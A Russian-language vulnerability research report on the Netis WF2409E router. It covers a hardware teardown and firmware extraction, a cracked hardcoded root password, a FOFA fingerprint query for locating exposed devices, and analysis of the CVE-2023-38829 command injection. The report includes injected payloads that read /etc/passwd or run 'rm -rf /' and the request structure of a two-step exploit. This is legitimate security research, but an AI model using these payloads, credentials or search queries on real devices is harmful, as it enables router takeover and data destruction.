Share
## https://sploitus.com/exploit?id=70F785D7-207E-5E12-8724-1EE1251440B6
# Отчет устройства Netis WF2409E

## 1. Обзор устройства
### 1.1 Таблица основных характеристик
| Категория | Параметр | Описание |
| ---------------------------- | ------------------- | ---------------------------- |
| **Информация об устройстве** | Модель | Netis WF2409E |
| | Тип | 300Mbps Wireless N Router |
| | Питание | DC 9V/500mA |
| | Версия оборудования | V1.8 |
| | Версия PCB | PB-7189-M02G-20 |
| | Дата производства | 2015-03-23 |
| | Страна производства | Китай |
| **Сетевые идентификаторы** | Серийный номер | 2409EEU5B102714 V1.8 |
| | MAC-адрес | W8D398DFB68 |
| | SSID по умолчанию | netis_BDFB68 |
| | Пароль по умолчанию | password |
| | Адрес управления | http://netis.cc |
| **Аппаратные интерфейсы** | WAN-порт | 1 (синий RJ45) |
| | LAN-порты | 4 (черные RJ45, LAN1-4) |
| | Антенны | 3 внешние антенны |
| | Разъем питания | DC вход (PWR) |
| **Функциональные кнопки** | Default | Сброс к заводским настройкам |
| | WPS | Защищенная настройка WiFi |
### 1.2 Таблица проверки работоспособности
| Проверяемый параметр | Состояние | Примечание |
| -------------------- | --------- | ------------------------------- |
| Индикатор питания | Исправен | Стабильно горит при включении |
| Сетевые индикаторы | Исправны | Мигают при подключении |
| Состояние WAN-порта | Исправен | Нормальное подключение к сети |
| Состояние LAN-портов | Исправны | Все 4 порта работают |
| Функция WiFi | Исправна | Антенны целы, сигнал нормальный |
| Функция WPS | Исправна | Кнопка реагирует |
| Функция сброса | Исправна | Кнопка Default работает |
### 1.3 Основные компоненты системы

| № | Модель чипа | Производитель | Основная функция | Технические характеристики | Примечания |
| --- | ------------- | ------------- | ------------------- | ------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------- |
| 1 | EM63A165TS-6G | EtronTech | Системная память | - Объем 32 Мбит<br>- Частота 166МГц<br>- Архитектура SDRAM<br>- Корпус TSOP-II | - Используется для временного хранения данных<br>- Поддерживает вычисления основного процессора |
| 2 | FR9886 61504 | Неизвестен | Управление питанием | - Корпус SOIC-8<br>- Интегральная схема | - DC-DC<br>- Отвечает за регулировку напряжения<br>- Обеспечивает стабильное питание системы |
| 3 | RTL8196E | Realtek/RMC | Основной процессор | - Архитектура MIPS<br>- Дизайн SoC<br>- Произведено в Тайване | - Центральный процессор системы<br>- Отвечает за основные вычисления и управление<br>- Интегрированная обработка сети |
| 4 | MX25L3206E | Macronix | Flash-память | - Объём 32Mb (4MB)<br>- Интерфейс SPI<br>- Корпус SOIC | - Хранение системной прошивки<br>- Сохранение конфигурационных данных |
| 5 | RTL8192ER | Realtek/RMC | Беспроводная связь | - WiFi контроллер<br>- Корпус QFN | - Обработка беспроводных сигналов<br>- Поддержка функций WiFi |
## 2. Исследование контактов
### 2.1 Подключение к устройству через последовательный порт


## 3. Лог загрузки, команды загрузчика и ОС
### 3.1 Анализ лога загрузки
#### Характеристики процессора
| Параметр | Спецификация |
| ----------------- | ---------------- |
| Модель процессора | RealTek RTL8196E |
| Архитектура | 16-bit |
| Тактовая частота | 380MHz |
| Дата компиляции | 2014.09.29 |
#### Характеристики Flash-памяти
| Параметр | Значение | Шестнадцатеричное значение |
| --------------- | ---------- | -------------------------- |
| Модель чипа | MX25L3205D | - |
| Общий объем | 4MB | 0x400000 |
| Размер блока | 64KB | 0x10000 |
| Размер сектора | 4KB | 0x1000 |
| Размер страницы | 256B | 0x100 |
#### Информация о загрузчике
| Параметр | Описание |
| -------------------------- | ------------------------------- |
| Тип загрузчика | Проприетарный загрузчик RealTek |
| Адрес загрузки ядра | 0x80500000 |
| Начальный адрес выполнения | 0x80003440 |
| Диапазон поиска подписи | 0x10000-0x170000 |
#### Сетевые настройки по умолчанию
| Параметр | Значение |
| ---------------------- | ---------------------------- |
| IP-адрес | 192.168.0.1 |
| Маска подсети | 255.255.255.0 |
| MAC-адрес | 04:8d:38:bd:fb:69 |
| Беспроводной интерфейс | wlan0 (включая va0-va3, vxd) |
#### Информация о системном ПО
| Параметр | Значение |
| ----------------- | ----------------------- |
| Модель устройства | netis WF2419E_RU |
| Версия прошивки | V2.5.40200 |
| Дата прошивки | 2016.09.02 |
| Версия BusyBox | v1.00-pre8 (2015.01.23) |
#### Состояние служб
| Название службы | Статус | Примечание |
| ----------------- | -------- | ----------------------- |
| DHCP-сервер | Работает | Нормально |
| HTTP-сервер (Boa) | Работает | Аномальные перезагрузки |
| IAPP | Работает | IEEE 802.11f |
| MiniIGD | Работает | v1.08.1 |
| mini_upnpd | Ошибка | Файл не найден |
| telnetd | Ошибка | Файл не найден |
| ota_init.sh | Ошибка | Файл не найден |
Важно отметить, что это устройство, вероятно, не использует U-Boot. Ключевые признаки:
1. Журнал начинается непосредственно с информации о загрузке RealTek: `---RealTek(RTL8196E)at 2014.09.29-19:16+0800 v1.0 [16bit](380MHz)`
2. Отсутствуют типичные признаки загрузки U-Boot:
- Нет информации о версии U-Boot
- Нет информации об инициализации переменных окружения U-Boot
- Нет приглашения командной строки U-Boot
3. RTL8196E - это бюджетный маршрутизаторный чип от RealTek, многие устройства на его основе используют собственный загрузчик RealTek вместо U-Boot.
4. Учитывая малый объем Flash-памяти (4MB), использование облегченного загрузчика более логично.
Фактически не удалось найти способ входа в U-boot.
### 3.2 Анализ загрузчика
#### Для входа в загрузчик необходимо удерживать клавишу Esc во время загрузки:

#### Полный набор команд загрузчика RealTek
| Команда | Синтаксис | Функция |
| ----------- | ------------------------------ | -------------------------------------------------- |
| HELP | ? | Показать справку |
| DB/DW | DB/DW <адрес> <длина> | Чтение памяти побайтно/пословно |
| EB/EW | EB/EW <адрес> <значение> | Запись в память побайтно/пословно |
| FLR | FLR <dst><src><length> | Чтение данных из Flash в RAM |
| FLW | FLW <dst_ROM><src_RAM><length> | Запись данных из RAM во Flash |
| IPCONFIG | IPCONFIG <IP-адрес> | Настройка IP-адреса |
| LOADADDR | LOADADDR <адрес> | Установка адреса загрузки |
| CMP | CMP <dst><src><length> | Сравнение данных в памяти |
| J | J <адрес> | Переход к исполнению |
| MDIOR/MDIOW | MDIOR/W <phyid> <reg> [data] | Чтение/запись регистров PHY |
| PHYR/PHYW | PHYR/W <PHYID><reg>[data] | Чтение/запись регистров PHY (альтернативный метод) |
| PORT1 | PORT1 | Тест патча порта 1 |
| AUTOBURN | AUTOBURN 0/1 | Управление автоматической прошивкой |
#### Пример чтения памяти:
Команды Bootloader :
` <RealTek> FLR 80000000 0 100 #Чтение из Flash
`<RealTek> DB 80000000 100 #Просмотр содержимого памяти


### 3.3 Анализ Shell-среды
#### Основные команды Shell
| Тип команды | Доступные команды |
| ---------------------- | -------------------------------------------- |
| Базовые команды | `.`, `:`, `cd`, `help`, `exit` |
| Управление выполнением | `break`, `continue`, `eval`, `exec` |
| Операции с переменными | `export`, `read`, `readonly`, `set`, `shift` |
| Управление процессами | `times`, `trap`, `wait` |
| Управление правами | `login`, `newgrp`, `umask` |
#### Подробная структура системных каталогов (/bin — важные инструменты)
| Категория | Инструменты | Функция |
| ------------------------------ | --------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------- |
| Сетевые инструменты | `iptables` `ip6tables` `brctl` `ifconfig` | Конфигурация брандмауэра, IPv6-брандмауэр, управление мостами, настройка сетевых интерфейсов |
| Системное управление | `busybox` `ps` `kill` `mount` | Набор основных инструментов, просмотр процессов, управление процессами, монтирование файловой системы |
| VPN-связь | `pppd` `pptp` `l2tpd` `pptpctrl` | Демон PPP, PPTP-клиент, демон L2TP, управление PPTP |
| Управление беспроводной связью | `iwcontrol` `iwpriv` `wlanapp.sh` `wps_init.sh` | Контроль беспроводной связи, приватные команды беспроводной связи, управление беспроводными приложениями, инициализация WPS |
| Скрипты брандмауэра | `firewall.sh` `firewall_ipv6.sh` `firewall_pptp.sh` | Основной брандмауэр, IPv6-брандмауэр, PPTP-брандмауэр |
| DHCP/DNS | `dhcpc.sh` `dhcpd.sh` `dnrd` | DHCP-клиент, DHCP-сервер, DNS-пересылка |
| Веб-сервис | `boa` `webs` `cgitest.cgi` | Веб-сервер, веб-управление, тест CGI |
#### Ключевая информация каталога /proc
| Путь | Тип информации | Описание |
| ------------- | --------------------- | ------------------------------------------- |
| /proc/cpuinfo | Информация о CPU | Подробная информация о процессоре |
| /proc/meminfo | Информация о памяти | Состояние использования системной памяти |
| /proc/mtd | Информация о разделах | Разделение памяти Flash |
| /proc/net/* | Сетевая информация | Состояние сетевых интерфейсов и подключений |
| /proc/sys/* | Параметры системы | Регулируемые параметры системы |
| /proc/version | Информация о версии | Информация о версии ядра |
#### Список процессов:

### 3.4 Описание основных аппаратных компонентов
| Компонент | Описание | Технические характеристики |
| ------------- | ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| RTL8196E | Основной процессор | - Архитектура MIPS <br>- Дизайн SoC <br>- Производство в Тайване <br>- Центральный процессор системы <br>- Отвечает за основные вычисления и управление <br>- Встроенные функции сетевой обработки |
| EM63A165TS-6G | Системная память | - Объем 32 Мбит<br>- Частота 166 МГц <br>- Архитектура SDRAM <br>- Корпус TSOP-II <br>- Временное хранение данных системы <br>- Поддерживает вычисления основного процессора |
| MX25L3206E | Флэш-память | - Объем 32 Мбит (4 МБ) <br>- Интерфейс SPI <br>- Корпус SOIC <br>- Хранение прошивки системы <br>- Сохранение данных конфигурации |
| RTL8192ER | Беспроводная сеть | - WiFi контроллер <br>- Корпус QFN <br>- Обработка беспроводных сигналов <br>- Поддержка WiFi |
| FR9886 61504 | Управление питанием | - Корпус SOIC-8 <br>- Интегральная схема <br>- DC-DC <br>- Отвечает за регулировку напряжения <br>- Обеспечивает стабильное питание системы |
## 4. Анализ информации о точках монтирования
### 4.1 Получение информации о монтировании разделов

### 4.2 В системе определено три основных точки монтирования:
- `/dev/mtdblock1` смонтирован как корневой каталог `/`
- `none` смонтирован как файловая система процессов `/proc`
- `tmpfs` смонтирован как временная файловая система `/var`
#### Детальный анализ
###### 4.2.1. Корневая файловая система
Корневая файловая система настроена следующим образом:
- Устройство: `/dev/mtdblock1`
- Тип файловой системы: squashfs
- Опции монтирования: только для чтения (ro)
- Назначение: хранение системных файлов и программ
Это указывает на использование MTD флэш-памяти в качестве носителя, при этом файлы системы защищены и оптимизированы по объему с помощью только чтения и компрессии squashfs.
##### 4.2.2 Файловая система процессов
Файловая система процессов настроена следующим образом:
- Устройство: none (виртуальная файловая система)
- Тип файловой системы: proc
- Опции монтирования: чтение-запись (rw)
- Назначение: предоставление интерфейса для доступа к информации системы и процессов
##### 4.2.3 Временная файловая система
Временная файловая система настроена следующим образом:
- Устройство: tmpfs (файловая система в памяти)
- Точка монтирования: /var
- Ограничение по размеру: 230 КБ
- Опции монтирования: чтение-запись (rw)
- Назначение: хранение временных файлов и данных во время работы
##### 4.2.4 Обнаружено, что большинство команд в системе отсутствует


## 5. Структура и формат прошивки
#### 5.1 Получение ВПО "netis.bin"

#### 5.2 Проведения энтропийного анализа:
`binwalk -E --save netis.bin`


#### 5.3 Анализ заголовков:
`binwalk netis.bin`

#### 5.4 Для выполнения распаковки используются аргументы –reM.
И получить:

#### 5.5 Таблица результатов анализа
| Файл | Смещение (десятичное) | Смещение (шестнадцатеричное) | Описание | Дополнительная информация |
| --------- | --------------------- | ---------------------------- | ------------------------- | ---------------------------------------------------------------------------------------------------------------- |
| netis.bin | 4848 | 0x12F0 | Сжатые данные LZMA | Размер словаря: 8388608 байт, размер после распаковки: 56464 байт; требуется анализ содержимого после распаковки |
| netis.bin | 206872 | 0x32818 | Сжатые данные LZMA | Размер словаря: 8388608 байт, размер после распаковки: 3278684 байт; содержит полное ядро Linux 2.6.30 |
| netis.bin | 1507328 | 0x170000 | Файловая система SquashFS | Младший порядок байтов, сжатие gzip, размер: 2628241 байт |
| Смещение | Заголовок раздела |
| -------- | :----------------------------------: |
| 0x12F0 |  |
| 0x32818 |  |
| 0x170000 |  |
## 6. Файловая система после распаковки прошивки
#### 6.1 Файловая система после распаковки:

#### 6.2 Некоторые важные документы
##### 6.2.1 `etc/passwd:`

Используя сервис дешифрования хэшей [https://hashes.com/en/decrypt/hash](https://hashes.com/en/decrypt/hash), пароль root был успешно восстановлен как `realtek`.

##### 6.2.2 `web/welcome.htm:`
Это страница веб-интерфейса по умолчанию

## 7. Маркеры, фингерпринт для FOFA, статистика
Поиск устройств в `FOFA` через характеристики в `web/welcome.htm:`
Команды поиска:
`body="./images/logo_netis.png" && body="display:block; height:60px; float:left;"`


Для доступа к административной панели устройства может потребоваться аутентификация с помощью логина и пароля

После успешной аутентификации можно войти в административную панель

## 8. Скрипт идентификации
Сначала с помощью команды `~/squashfs-root/web$ find` были найдены доступные директории, и с помощью `Burpsuit` была проверена их доступность:
| | Payload | Code | | Lenth |
| ------ | ------------------------------- | ------- | ----- | --------- |
| 1 | /cgi-bin | 200 | | 167 |
| 2 | /cgi-bin/cgitest.cgi | - | ERROR | - |
| 3 | /script | 200 | | 168 |
| 4 | /script/init.js | 200 | | 1282 |
| 5 | /script/logic.js | 200 | | 65677 |
| 6 | /script/menu.js | 200 | | 4976 |
| 7 | /script/netcore.js | 200 | | 151935 |
| 8 | /script/action.js | 200 | | 182624 |
| 9 | /script/debug.js | 200 | | 28570 |
| ==10== | ==/version.txt== | ==200== | | ==206== |
| ==11== | ==/update.htm== | ==200== | | ==1230== |
| 12 | /config | 200 | | 168 |
| 13 | /config/language_es.js | 200 | | 79333 |
| 14 | /config/language_it.js | 200 | | 76802 |
| 15 | /config/language_id.js | 200 | | 74795 |
| 16 | /config/language_du.js | 200 | | 78782 |
| 17 | /config/language_ma.js | 200 | | 73594 |
| 18 | /config/language_po.js | 200 | | 76458 |
| 19 | /config/language_tu.js | 200 | | 77747 |
| 20 | /config/language_fr.js | 200 | | 78165 |
| 21 | /config/language_ro.js | 200 | | 73621 |
| 22 | /config/language_cz.js | 200 | | 75968 |
| 23 | /config/language_ua.js | 200 | | 98335 |
| 24 | /config/language_us.js | 200 | | 84173 |
| 25 | /config/config.js | 200 | | 75899 |
| 26 | /config/language_ru.js | 200 | | 108998 |
| 27 | /config/language_de.js | 200 | | 78674 |
| 28 | /config/language_pt.js | 200 | | 77954 |
| 29 | /config/language_cn.js | 200 | | 62001 |
| 30 | /config/language_tc.js | 200 | | 74268 |
| ~~31~~ | ~~/system_log.txt~~ | ~~404~~ | | ~~330~~ |
| ==32== | ==/index.htm== | ==200== | | ==4336== |
| 33 | /css | 200 | | 167 |
| 34 | /css/style.css | 200 | | 5441 |
| 35 | /css/netcore.css | 200 | | 11536 |
| 36 | /css/welcome.css | 200 | | 6270 |
| 37 | /Config.tgz | 404 | | 326 |
| 38 | /images | 200 | | 168 |
| 39 | /images/first.png | 200 | | 838 |
| 40 | /images/icon_no.gif | 200 | | 240 |
| 41 | /images/top_right_bg.gif | 200 | | 222 |
| 42 | /images/logo_netis.png | 200 | | 7297 |
| 43 | /images/icon_jian.gif | 200 | | 239 |
| 44 | /images/show_pwd.png | 200 | | 1433 |
| 45 | /images/icon_no1.gif | 200 | | 498 |
| 46 | /images/nextt.png | 200 | | 1026 |
| 47 | /images/lastt.png | 200 | | 845 |
| 48 | /images/icon_intro_internet.gif | 200 | | 6994 |
| 49 | /images/help_b1.gif | 200 | | 540 |
| 50 | /images/high.gif | 200 | | 10846 |
| 51 | /images/yandex_en.png | 200 | | 3519 |
| 52 | /images/help_b1.jpg | 200 | | 620 |
| 53 | /images/back.gif | 200 | | 379 |
| 54 | /images/icon_intro_wireless.jpg | 200 | | 3838 |
| 55 | /images/icon_jian1.gif | 200 | | 490 |
| 56 | /images/left_021.jpg | 200 | | 558 |
| 57 | /images/edit.gif | 200 | | 365 |
| 58 | /images/pre.png | 200 | | 1029 |
| 59 | /images/btn_mobile_setup.jpg | 200 | | 3053 |
| 60 | /images/icon_now.gif | 200 | | 242 |
| 61 | /images/top_right_bg.jpg | 200 | | 223 |
| 62 | /images/bg_intro_bottom.png | 200 | | 3562 |
| 63 | /images/favicon.ico | 200 | | 4458 |
| 64 | /images/btn_quick_setup.jpg | 200 | | 4353 |
| 65 | /images/bg_intro_top.png | 200 | | 3605 |
| 66 | /images/mt-link.gif | 200 | | 5823 |
| 67 | /images/link.gif | 200 | | 1045 |
| 68 | /images/del.gif | 200 | | 313 |
| ==69== | ==/images/Makefile== | ==200== | | ==593== |
| 70 | /images/icon_jia1.gif | 200 | | 490 |
| 71 | /images/blue.jpg | 200 | | 2584 |
| 72 | /images/normal.gif | 200 | | 10818 |
| 73 | /images/yandex.png | 200 | | 2159 |
| 74 | /images/bg_leftmenu.gif | 200 | | 686 |
| 75 | /images/icon_jia.gif | 200 | | 252 |
| 76 | /images/icon_now1.gif | 200 | | 487 |
| ==77== | ==/welcome.htm== | ==200== | | ==30155== |
| ==78== | ==/index.html== | ==200== | | ==326== |
| 79 | /help | 200 | | 166 |
| ==80== | ==/backup.htm== | ==200== | | ==1304== |
Потенциальные места нахождения информации:
| | Payload | Code | Lenth |
| ------ | -------------------- | ------- | --------- |
| ==10== | ==/version.txt== | ==200== | ==206== |
| ==11== | ==/update.htm== | ==200== | ==1230== |
| ==32== | ==/index.htm== | ==200== | ==4336== |
| ==69== | ==/images/Makefile== | ==200== | ==593== |
| ==77== | ==/welcome.htm== | ==200== | ==30155== |
| ==78== | ==/index.html== | ==200== | ==326== |
| ==80== | ==/backup.htm== | ==200== | ==1304== |
После проверки, мы можем найти в файле ==/version.txt== следующую информацию:
- Версию прошивки (firmware version)
- Дату сборки (build date)
- Информацию о сервере Boa (получена из поля Server в HTTP-заголовке ответа)

Извлечение этой информации было реализовано с помощью Python-скрипта:

## 9. Список уязвимостей с CVSS
#### 9.1 Список уязвимостей
В настоящее время в данном устройстве обнаружены следующие уязвимости, среди которых уязвимость `CVE-2023-38829` представляет собой уязвимость внедрения команд, существующую в модуле сетевого тестирования маршрутизатора `NETIS SYSTEMS Router WF2409E` в функциях `ping` и `traceroute`. Через веб-интерфейс управления можно внедрять вредоносные команды в параметры этих функций, что приводит к выполнению команд.
| Номер уязвимости | Тип уязвимости | Модель | Версия | Отчет/эксплойт |
| ---------------- | -------------------------------- | ------ | -------------------------------------------- | --------------------------------------------------------------------------- |
| CVE-2023-42336 | sensitive information disclosure | Netis | wf2409e_firmware < 1.0.1.705<br>wf3409e < v4 | https://github.com/adhikara13/CVE/blob/main/netis_WF2409E/Root_Hard_Code.md |
| CVE-2023-38829 | remote code execution | Netis | wf2409e_firmware < 3.6.42541<br>wf3409e < - | https://github.com/adhikara13/CVE-2023-38829-NETIS-WF2409E |
#### 9.2 Проверка уязвимости
Чтобы проверить наличие этой уязвимости, я вошел в панель управления маршрутизатора и протестировал уязвимость в функциях `ping` и `traceroute`.

Здесь я внедрил команду `cd && ls && cd etc/ && cat passwd`, которая вывела содержимое файла паролей.
Ниже представлен вывод панели управления маршрутизатора при внедрении команды, что подтверждает наличие уязвимости.

#### 9.3 Оценка уязвимости по системе CVSS
Анализ CVSS 3.1 обнаруженных уязвимостей инъекции команд:
1. Оценка базовых показателей:
- Вектор атаки (AV): Сетевой (N), так как возможна удаленная эксплуатация
- Сложность атаки (AC): Низкая (L), так как требуется только отправка HTTP-запроса
- Необходимые привилегии (PR): Низкие (L), требуются базовые права пользователя (аутентификация в административном интерфейсе устройства)
- Взаимодействие с пользователем (UI): Отсутствует (N), не требуется действий пользователя
- Область воздействия (S): Измененная (C), может влиять на другие устройства, подключенные к маршрутизатору
2. Показатели воздействия:
- Влияние на конфиденциальность (C): Высокое (H), возможно получение полного доступа к системе
- Влияние на целостность (I): Высокое (H), возможно изменение любых системных файлов
- Влияние на доступность (A): Высокое (H), возможно влияние на работу устройства

3. Временные метрики оценки:
- Зрелость эксплойта (E): Существует функциональный эксплойт (F)
- Уровень исправления (RL): Официальное исправление (O)
- Достоверность отчета (RC): Подтверждено (C)

Итоговая оценка: **9.2/10 баллов** , что относится к категории "критическая".
**CVSS-Vector:** [AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C&version=3.1)
**Такая высокая оценка уязвимости обусловлена следующими причинами:**
- Возможность удаленной эксплуатации без специальных условий
- Возможность получения прав root без аутентификации
- Полное влияние на безопасность системы
- Простота эксплуатации уязвимости
## 10. Анализ слабой уязвимости (BO или CI)
Давайте сначала найдём файлы, где могут быть уязвимости:
`find . -name "*.cgi" ./web/cgi-bin/cgitest.cgi ./bin/cgitest.cgi`
Я предполагаю, что уязвимости могут проявляться в CGI программах, поэтому для начала попробую проанализировать файл ./web/cgi-bin/cgitest.cgi с помощью IDA Pro.
Сначала нужно найти места вызова похожих функций, через поиск удалось найти строку "killall ping".

При анализе места вызова можно увидеть, что программа после инициализации функций ping и traceroute вызывает `/bin/network_test.sh`


А место, где находится уязвимость, как раз в модуле тестирования сети. Хорошо, нам нужно проанализировать `/bin/network_test.sh`.
#### Анализ network_test.sh
Вначале необходимо выполнить поиск.

Находим функцию network_test_sh:

......

При детальном анализе функции можно обнаружить модули выполнения команд и сохранения результатов.


В них: Выполнение команды ping: `ping -c %d -s %d %s -W %d > %s &`
- Параметры ping:
- -c: количество пингов
- -s: размер пакета данных (минус 8 байт)
- -W: время ожидания
- целевой IP адрес из конфигурации
Выполнение команды traceroute: `traceroute -I -m %d %s > %s &`
- Параметры traceroute:
- -I: использование протокола ICMP
- -m: максимальное количество прыжков
- целевой IP адрес из конфигурации
#### Детальный анализ уязвимости
```
# Ситуация с командой ping
loc_4205B8:
lw v0, 0x108+var\_D4(sp) #прямая загрузка параметров
lw a3, 0x108+var\_D8(sp)
la t9, sprintf #прямой вызов sprintf #отсутствует проверка параметров перед sprintf
```
```
# Ситуация с командой traceroute
loc_420574:
la $t9, sprintf #также прямой вызов sprintf
lw $a2, 0x108+var_D0($sp) #также отсутствует проверка параметров
```
```
# После построения команды происходит прямое выполнение
la $t9, run_by_system
jalr $t9 ; run_by_system #прямой вызов system для выполнения команды
move $a0, $s1 #отсутствуют проверки безопасности
```

В коде отсутствует достаточная проверка входных параметров, что создает потенциальный риск инъекции команд. Злоумышленник может управлять передаваемым IP-параметром для выполнения shell-команд, например:
```
# Нормальный ввод 192.168.0.1
# Примеры вредоносного ввода
192.168.0.1; rm -rf / #удаление файлов
192.168.0.1 & id & #выполнение произвольных команд
```
## 11. Скрипт эксплуатации
### 11.1. Обзор скрипта
Этот скрипт использует уязвимость инъекции команд в веб-интерфейсе устройства для удаленного выполнения команд путем создания специальных HTTP-запросов. Скрипт выполняет эксплуатацию уязвимости с помощью двух HTTP POST запросов: первый запрос внедряет команду, второй - получает результат выполнения.
Первый пакет (netcore_set.cgi) предназначен для: внедрения и выполнения команды

Второй пакет (netcore_get.cgi) предназначен для: получения результата выполнения команды

### 11.2 Первый этап: инъекция команды
1. Формирование тела POST-запроса со следующими ключевыми параметрами:
```
{ "mode_name": "netcore_set",
"tools_type": "2",
"tools_ip_url": f"| {command}", # точка инъекции команды
"tools_cmd": "1",
"net_tools_set": "1" }
```
2. URL-кодирование всех параметров
3. Отправка POST-запроса на netcore_set.cgi
### 11.3 Второй Этап: получение результатов
1. Формирование второго POST-запроса:
```
{ "mode_name": "netcore_get",
"noneed": "noneed" }
```
2. Отправка запроса на netcore_get.cgi
3. Парсинг поля tools_results в ответе для получения результата выполнения команды
### 11.4 Тестирование скриптов
Для тестирования скрипта я создал файл `ceshi` на хосте и попытался загрузить его на устройство через скрипт

Успешно!
Фактически эта уязвимость позволяет получить полный контроль над устройством, так как устройство по умолчанию использует root-доступ